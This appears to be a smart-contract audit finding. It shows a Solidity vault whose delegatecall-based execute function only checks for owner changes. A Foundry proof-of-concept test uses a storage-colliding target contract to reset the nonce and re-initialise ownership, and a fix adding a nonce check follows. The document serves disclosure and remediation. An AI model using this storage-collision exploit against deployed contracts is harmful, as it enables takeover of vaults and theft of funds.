// Check that the caller is either a module with permission to call or the owner.
if (!MerkleProof.verify(_proof, merkleRoot, leaf)) {
    if (msg.sender != owner)
        revert NotAuthorized(msg.sender, _target, selector);
}
// ...
address owner_ = owner;
// ...
(success, response) = _target.delegatecall{gas:stipend}(_data);
if (owner_ != owner) revert OwnerChanged(owner_, owner);
// ...
function init() external {
    if (nonce != 0) revert Initialized(owner, msg.sender, nonce);
    nonce = 1;
    owner = msg.sender;
}
// Inside contract VaultTest.
function testExecuteNoRevertIfReinitialized() public {
    vaultProxy.init(); // address(this) is owner
    HackyTargetContract targetContract = new HackyTargetContract();
    bytes32[] memory proof = new bytes32[](1);
    bytes memory data = abi.encodeCall(
        targetContract.changeNonce,
        ()
    );

    // Note that the call does NOT revert.
    vaultProxy.execute(address(targetContract), data, proof);

    // Note that the Vault can now be re-initialized as the execute
    // call above set the Vault's nonce to zero.
    vm.prank(address(1));
    vaultProxy.init();

    assertEq(vaultProxy.owner(), address(1));
}

// Outside contract VaultTest.
contract HackyTargetContract {
    address public gap_owner;
    bytes32 public gap_merkleRoot;

    uint256 public nonce;

    function changeNonce() public {
        nonce = 0;
    }
}
address owner_ = owner;
uint256 nonce_ = nonce;

// Execute delegatecall

if (owner_ != owner || nonce_ != nonce) {
    revert InvalidStateChange();
}

// ...
